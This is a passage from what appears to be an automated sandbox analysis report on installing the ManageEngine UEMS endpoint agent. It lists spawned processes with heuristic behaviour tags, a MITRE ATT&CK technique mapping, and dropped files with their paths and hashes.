                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  PID:1448
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcuninstallsw.exe
                  bin\dcuninstallsw.exe
                  3⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of SetWindowsHookEx
                  PID:2580
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DCProcessMonitor.exe
                DCProcessMonitor.exe
                2⤵
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                PID:6012
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcondemand.exe"
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Modifies data under HKEY_USERS
                PID:3176
            • C:\Windows\system32\wbem\WmiApSrv.exe
              C:\Windows\system32\wbem\WmiApSrv.exe
              1⤵
                PID:4972
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesAgentService.exe"
                1⤵
                • Drops file in Program Files directory
                • Executes dropped EXE
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Checks SCSI registry key(s)
                • Suspicious use of WriteProcessMemory
                PID:1980
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driversetup64.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driversetup64.exe" -install "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driver\x64\Win10\DCFAFilter.inf"
                  2⤵
                  • Drops file in Drivers directory
                  • Drops file in Windows directory
                  • Executes dropped EXE
                  PID:3852
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driversetup64.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driversetup64.exe" -start
                  2⤵
                  • Executes dropped EXE
                  PID:1892
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesFaUser.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\uesFaUser.exe"
                  2⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  • Checks SCSI registry key(s)
                  PID:3368
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\uesDevCtrlSummary.exe
                  -s ET_ENUM 9 2 "Unknown"
                  2⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:5408
                  • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\devctrlaction64.exe
                    -c 9
                    3⤵
                    • Executes dropped EXE
                    PID:5664
                • C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driversetup64.exe
                  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\\bin\driversetup64.exe" -stop
                  2⤵
                  • Executes dropped EXE
                  PID:4564
              • C:\Windows\system32\DrvInst.exe
                DrvInst.exe "4" "0" "C:\Windows\TEMP\{85496eff-1c15-0f4a-abb6-aab609984e1b}\DCFAFilter.inf" "9" "4ca28cc43" "0000000000000188" "Service-0x0-3e7$\Default" "0000000000000184" "208" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x64\Win10"
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Modifies data under HKEY_USERS
                PID:4548
              • C:\Windows\system32\DRIVERS\DCFAFilter.sys
                system32\DRIVERS\DCFAFilter.sys
                1⤵
                • Executes dropped EXE
                PID:724
              • C:\Windows\system32\DrvInst.exe
                DrvInst.exe "4" "0" "C:\Windows\TEMP\{68ff7c31-a772-9c4a-ad97-012301cb310c}\MEARWFltDriver.inf" "9" "494795b4b" "0000000000000130" "Service-0x0-3e7$\Default" "000000000000017C" "208" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\win10"
                1⤵
                • Drops file in System32 directory
                • Drops file in Windows directory
                • Checks SCSI registry key(s)
                • Modifies data under HKEY_USERS
                PID:3584
              • C:\Windows\system32\DrvInst.exe
                DrvInst.exe "8" "4" "C:\Windows\System32\DriverStore\FileRepository\mearwfltdriver.inf_amd64_33949fe404711eb9\mearwfltdriver.inf" "0" "494795b4b" "000000000000017C" "Service-0x0-3e7$\Default"
                1⤵
                • Drops file in Drivers directory
                • Drops file in Windows directory
                PID:1568
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\TelemetryService.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\Telemetryservice.exe"
                1⤵
                • Executes dropped EXE
                PID:5048
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe"
                1⤵
                • Executes dropped EXE
                PID:5784
              • C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe
                "C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\EXE\MEARWService.exe"
                1⤵
                • Drops file in Program Files directory
                • Executes dropped EXE
                • Checks processor information in registry
                • Suspicious behavior: LoadsDriver
                PID:4116
              • C:\Windows\system32\svchost.exe
                C:\Windows\system32\svchost.exe -k GPSvcGroup
                1⤵
                  PID:5808
                • C:\Windows\system32\wbem\WmiApSrv.exe
                  C:\Windows\system32\wbem\WmiApSrv.exe
                  1⤵
                    PID:4980
                  • C:\Windows\system32\wbem\WmiApSrv.exe
                    C:\Windows\system32\wbem\WmiApSrv.exe
                    1⤵
                      PID:2408

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          2
                          T1059

                          Visual Basic

                          1
                          T1059.005

                          Windows Command Shell

                          1
                          T1059.003

                          Persistence

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          Registry Run Keys / Startup Folder

                          2
                          T1547.001

                          Create or Modify System Process

                          1
                          T1543

                          Windows Service

                          1
                          T1543.003

                          Power Settings

                          1
                          T1653

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          2
                          T1547

                          Registry Run Keys / Startup Folder

                          2
                          T1547.001

                          Create or Modify System Process

                          1
                          T1543

                          Windows Service

                          1
                          T1543.003

                          Defense Evasion

                          Modify Registry

                          3
                          T1112

                          Subvert Trust Controls

                          2
                          T1553

                          Install Root Certificate

                          2
                          T1553.004

                          Credential Access

                          Discovery

                          Peripheral Device Discovery

                          3
                          T1120

                          Query Registry

                          6
                          T1012

                          System Information Discovery

                          6
                          T1082

                          System Location Discovery

                          1
                          T1614

                          System Language Discovery

                          1
                          T1614.001

                          System Network Configuration Discovery

                          1
                          T1016

                          Lateral Movement

                          Collection

                          Video Capture

                          1
                          T1125

                          Command and Control

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          111a.zip
                          • Path C:\111a.zip
                          • Size 31.3MB
                          • SHA256 c47dabde07299374c844066f170198af5fad3e71a465bf7d23cb5efe5daa5b86
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Agentinstalllog.txt
                          • Path C:\111a\Agentinstalllog.txt
                          • Size 1KB
                          • SHA256 d6eb4ba2b879194b73d0bcd4ea5abab6d6b0dc90b19c865e1e1c3b775b5f3f08
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          DCAgentServerInfo.json
                          • Path C:\111a\DCAgentServerInfo.json
                          • Size 1KB
                          • SHA256 35cd7b4426ad21437488e165fc722a2787764442f54fd78ba9398a83ab835f39
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          DMRootCA-Server.crt
                          • Path C:\111a\DMRootCA-Server.crt
                          • Size 1KB
                          • SHA256 49138532e40cdb36b85c8fed682cda22f3de332c2c8305ccd6f20265631e3f07
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          DMRootCA.crt
                          • Path C:\111a\DMRootCA.crt
                          • Size 1KB
                          • SHA256 458f9634af74c465335a3a046e8bab9e69ab82f2535716220fad255ec89118c3
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          UEMSAgent.msi
                          • Path C:\111a\UEMSAgent.msi
                          • Size 31.8MB
                          • SHA256 92f68fc7f6d0f544a750bf67b4903d1a4062d1372b7f98ab5c2f698eb61359bb
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          UEMSAgent.mst
                          • Path C:\111a\UEMSAgent.mst
                          • Size 20KB
                          • SHA256 180195558475b32abedb88b3103c06ee464148809986b78de32d8fdba897c516
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          e59c8a9.rbs
                          • Path C:\Config.Msi\e59c8a9.rbs
                          • Size 58KB
                          • SHA256 2738462c64706d19b09676ff643f32a20921c37d5f5b0d1344030e13684a1326
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          e59c8ae.rbs
                          • Path C:\Config.Msi\e59c8ae.rbs
                          • Size 546B
                          • SHA256 87a90362c9427b86c7853dd9a488c9add0161e35e49d5e848abd1225892fbd87
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Newtonsoft.Json.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\3\Newtonsoft.Json.dll
                          • Size 476KB
                          • SHA256 df763a4470fcbf6abb7da9aa6e1efe2b7116ea4e7c1cf240e07a70eae913fac1
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Newtonsoft.Json.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\4\Newtonsoft.Json.dll
                          • Size 540KB
                          • SHA256 9a59c1b97a0d8460cbd73283ce67c263f08a870c7b3738314c6c119c69f690c5
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          PocoCrypto.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\BitLockerMgmt\bin\PocoCrypto.dll
                          • Size 2.2MB
                          • SHA256 24208305449f9e0798f83bdac575747e2f059a5b6673fe95502dd124112f6fc1
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          client.p12
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
                          • Size 1002B
                          • SHA256 0b598b96bad71dc93845f6f172b1cfe6fefa48ae0822e25ac2de432cef339e38
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          DCFAFilter.inf
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\DeviceControl\bin\driver\x86\Win10Debug\DCFAFilter.inf
                          • Size 2KB
                          • SHA256 3962be211204da037a79088049c952cb4636da1b78df49040e4d2adb90052356
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          RegConf.txt
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\EDR\Anti-Ransomware\Public\Bin\RegConf.txt
                          • Size 35B
                          • SHA256 23e664022507ef0062d6200dbed3a382bef464a74b17ae1c6759947b0f25f215
                          • MD5 SHA1 SHA512
                          Submit Download

                          7za.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
                          • Size 802KB
                          • SHA256 f00836a63be7ebf14e1b8c40100c59777fe3432506b330927ea1f1b7fd47ee44
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ClientAuthHandler.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
                          • Size 2.3MB
                          • SHA256 7627f75435af64ab72991eb93996df3f61101e7b57cdf5a9d8d2e06d75b76aad
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          DevExe64.exe.config
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\DevExe64.exe.config
                          • Size 174B
                          • SHA256 832208e81fb2ccabfa2ef289f89d47a2665b451a9550d597821b7d6f39373159
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Lato-Bold.eot
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
                          • Size 250KB
                          • SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Lato-Medium.eot
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
                          • Size 245KB
                          • SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MisconfigEngine.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\MisconfigEngine.dll
                          • Size 1.0MB
                          • SHA256 3efb100da82cd42422ace488116fb16144bd0238204019418f937364d759f93f
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ServerDetectionChecks.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ServerDetectionChecks.dll
                          • Size 416KB
                          • SHA256 ec32dc287673f1ede9715042ab921a91bea76fcb62bcfbbdf63e29c8f1151dcc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          agent_binaries.7z
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
                          • Size 14.6MB
                          • SHA256 6d5bf676a5800214126df113bbf68a8b3f6ea051ccfbf212c11927df89035082
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ca-certs.zip
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ca-certs.zip
                          • Size 160B
                          • SHA256 7e6debd55c669504ffd364e96b1e539c5d6839472887ecd739ba79b155c62fa1
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          cfgUpdate.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cfgUpdate.exe
                          • Size 62KB
                          • SHA256 7232bb0e4842bf2f8a370dce70df60c72560416a5bb317650cf88afbd7acb820
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          cold_normal_msghldr.gif
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\cold_normal_msghldr.gif
                          • Size 536B
                          • SHA256 fc7d90a7546fb0f8c8ad6e617f74d185be15f85aaf5d329919bc2776887bc9d1
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          dcagentregister.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
                          • Size 92KB
                          • SHA256 430aad28ddd50d0026f7e547764b2f4cd7c54204519e119614895068397904dc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcagentservice.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
                          • Size 1.2MB
                          • SHA256 23fa8f503da68dd5724b136f9f401ab747db352e5edd8e2c277bf7426f774773
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dccomponentregister.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dccomponentregister.dll
                          • Size 1.1MB
                          • SHA256 eec331fbc8fd719269e334901902536f5a47060d64d042becf541b6af91548f2
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcpatchscan.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exe
                          • Size 3.3MB
                          • SHA256 e3200c70077193f3decf5896fded35b3cce2034aec5517178a24e35a665abfd0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcstatusutil.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
                          • Size 1.1MB
                          • SHA256 b24ad0ae12c05931f11b66f26166c7ec41a7be318893aebe4cc2babe29bdb080
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          hot_mover_msghldr.gif
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\hot_mover_msghldr.gif
                          • Size 172B
                          • SHA256 c9657b6062e0798cfb5e39be8d8d1546d901ee339dde4915c82b40460a205f9e
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          resources.exe
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\resources.exe
                          • Size 318KB
                          • SHA256 7e311d65ca1a0461cc6bda079efdcbd4f2f0a7967c2f09be02f2b62b97eb4848
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          topmiddle.bmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\topmiddle.bmp
                          • Size 1016B
                          • SHA256 bb6b032f562a0578070b18e1002c22bec4520cf191f11384af316a0ae33b8cea
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          ui-icons_444444_256x240.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_444444_256x240.png
                          • Size 6KB
                          • SHA256 eaf7c7ee2747275dda6c53e731a10db1a7b15f4fbb46e1b69d6bb2056bc9fd81
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ui-icons_555555_256x240.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_555555_256x240.png
                          • Size 6KB
                          • SHA256 5d04051dfd9d2d740355404f98a683d1ec0feb2fca7d76e533c1a6e5ce92dd2e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ui-icons_777620_256x240.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777620_256x240.png
                          • Size 4KB
                          • SHA256 9dbe4a0d03feed6f65eb2560a0a8b4ba4264545ee8fd31c1763a3b219d0328d6
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ui-icons_777777_256x240.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_777777_256x240.png
                          • Size 6KB
                          • SHA256 e75b27211e16fcf94715168001bb7055ca376d46f928110ba3d0825232452e5a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ui-icons_cc0000_256x240.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_cc0000_256x240.png
                          • Size 4KB
                          • SHA256 02891575d4358e9edde3e42d94057f8e9f82a9d64376f71ee86cef149d30537e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ui-icons_ffffff_256x240.png
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ui-icons_ffffff_256x240.png
                          • Size 6KB
                          • SHA256 b6b06deef2b924cc3835d63f4883d47882734a33e71b212d917a68cede3b8e9d
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MisconfigEngine.dll.gz2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\MisconfigEngine.dll.gz2788.tmp
                          • Size 464KB
                          • SHA256 330c26d95b59deb9cc893537bc91e1b8852d1ff4c99219c968ded6e93440c009
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ServerDetectionChecks.dll.gz2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz2788.tmp
                          • Size 201KB
                          • SHA256 0e38c0611ca05835971a71b2f460ddfe8a936b2b5c02d6611b09854c6cdce2a3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          applications-vul.xml.gz2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\applications-vul.xml.gz2788.tmp
                          • Size 149KB
                          • SHA256 60ddf454bb749c1a5b566ea68605fc1ca4c0f91d76b7446e9a407f8413a7af65
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          misconfig-scan-data.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\misconfig-scan-data.xml
                          • Size 755KB
                          • SHA256 61affd2e66599f4b0516028e4c12eeeb05b490f1e3ed24f782e698a8cdc3c3b7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          misconfig-scan-data.xml.gz1440.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\misconfig-scan-data.xml.gz1440.tmp
                          • Size 48KB
                          • SHA256 02fa3f0696e3ecec5b0ca1918b5870d68c45a558531fc47efac05f6a4de304ed
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          patchresource-vul.xml.gz2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\patchresource-vul.xml.gz2788.tmp
                          • Size 29KB
                          • SHA256 3f52a16f03c60746d35cb90d8672b2db16031a83b18188d2094a2af3bca9dfcc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          vulnerable-patch-scan-data.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml
                          • Size 231KB
                          • SHA256 3b8c0a04b11dd3b7d3320b5a5f7715907ca09f6d885dd250b296c15fb0047339
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          vulnerable-patch-scan-data.xml.gz2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\client-data\vulnerable-resources\vulnerable-patch-scan-data.xml.gz2788.tmp
                          • Size 37KB
                          • SHA256 aa7ebf4805ac99774ec4324b8d96258617ce43291877fb1c136f3e6cab441d10
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          AgentApplicationResources.properties1668.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\AgentApplicationResources.properties1668.tmp
                          • Size 98KB
                          • SHA256 fb1321f35dacb680e3cefb846f65f657b7141ecaaac61ecea2a009f6a0434426
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          OSDetection.json
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
                          • Size 15KB
                          • SHA256 d4a4d290a60e27dde19bb6b6183da79ebb8a254bd25ffa41f8c5d3d67f8c2702
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          OSDetection.json
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
                          • Size 28KB
                          • SHA256 e7adadaa6b10ec1011abdc290111ef696da1e94bbb66856b7066e9ecb145b521
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          OSDetection.json.gz2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json.gz2788.tmp
                          • Size 2KB
                          • SHA256 3703e5c6dc2c3f70417307865674f3135dac682e0ce02f8e25c96e1e944c844e
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          addons-resources.json5424.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\addons-resources.json5424.tmp
                          • Size 25B
                          • SHA256 c8bef82f23f0f34c6fc781f4d358c7ee3b25199eebb6fafaafe2e39a17e61443
                          • MD5 SHA1 SHA512
                          Submit Download

                          agent-security-setting.json2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\agent-security-setting.json2788.tmp
                          • Size 203B
                          • SHA256 905d181bef412e71e6a04a757d38b9819d9278b4f8fa32f75d2fa223439f8af6
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          configuration-settings-dc.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc.xml
                          • Size 261KB
                          • SHA256 db2751fd3ef07f03c99e5b117f2806f627470d629d4dd79f619dc8ea51f9d805
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          customer-meta-data.json2788.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\customer-meta-data.json2788.tmp
                          • Size 1KB
                          • SHA256 69cfa0328059bea0a3f83588c7683026e23acf85700d67a206de58535c4399c6
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          data-dictionary-br.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-br.xml
                          • Size 54KB
                          • SHA256 200c5b769c540ea6cfcf8b311b3cfbe950b2f93406020deca59cd31773a6c9d8
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary-edb.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-edb.xml
                          • Size 389KB
                          • SHA256 be1f87e03f3fd0cb7fc75784db831a31cb3c809cb08d4dbf784d6ac832382534
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary-framework.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
                          • Size 415KB
                          • SHA256 9e2dcf836433b648d592cf5ea82af6d44cc6f0cb8625436dc164dda3601df2a7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary-mc.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-mc.xml
                          • Size 62KB
                          • SHA256 43d6385cd675c9b3217f5d59437f887806cd8ca1a56aa49916b999dcd8fc621b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary-onpremise.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
                          • Size 109KB
                          • SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary-pm.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-pm.xml
                          • Size 278KB
                          • SHA256 73c9afdb65406c39f529eb6461b60b91352160a6ab53cf6f1d1c033ad5baf61f
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary-vul.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-vul.xml
                          • Size 163KB
                          • SHA256 052ff066f5ca62c9d79312f15341789b4c4851c0e0f67e02eb3bed5454c1bd53
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          data-dictionary.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
                          • Size 1.6MB
                          • SHA256 0c6236f2f6794c79fb2795bea6eb04775d94ea8079ce9d92502236bfb448a706
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          deployment-policies.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\deployment-policies.xml
                          • Size 6KB
                          • SHA256 322a41895a78ad9b4c1c3f9eb32fa744fad5ca04aee6ebc3b07d431f618073b7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dynamic-variables.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\dynamic-variables.xml
                          • Size 28KB
                          • SHA256 6df9a28cfd8d76f1e41e6f9fcdf28eb8fa3b5a5d67015ba51fdf1c76980bde1d
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          inv-common-settings.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\inv-common-settings.xml
                          • Size 594B
                          • SHA256 b54515db53b4c32b016bbe4e03eac6227c777d7c5ad1e55882b3373a9028f3ce
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          meta-data.xml2656.tmp
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\meta-data.xml2656.tmp
                          • Size 8KB
                          • SHA256 6642bdffcdd286c9a3df93758883e241d147e6a49edcbf01797510e285516b4e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          wmi-classes.xml
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\wmi-classes.xml
                          • Size 44KB
                          • SHA256 86467edb2cd13dccd9ff7204361db996f5043f9a1e0414cc40d60aeee9873857
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          dcagent.dll
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
                          • Size 3.1MB
                          • SHA256 15ad7ce2ebfda80a19bde288e71b7c63c1b3cd71416b7ee2df6504610de44883
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Lato.woff
                          • Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
                          • Size 36KB
                          • SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          drop_down_icon.png
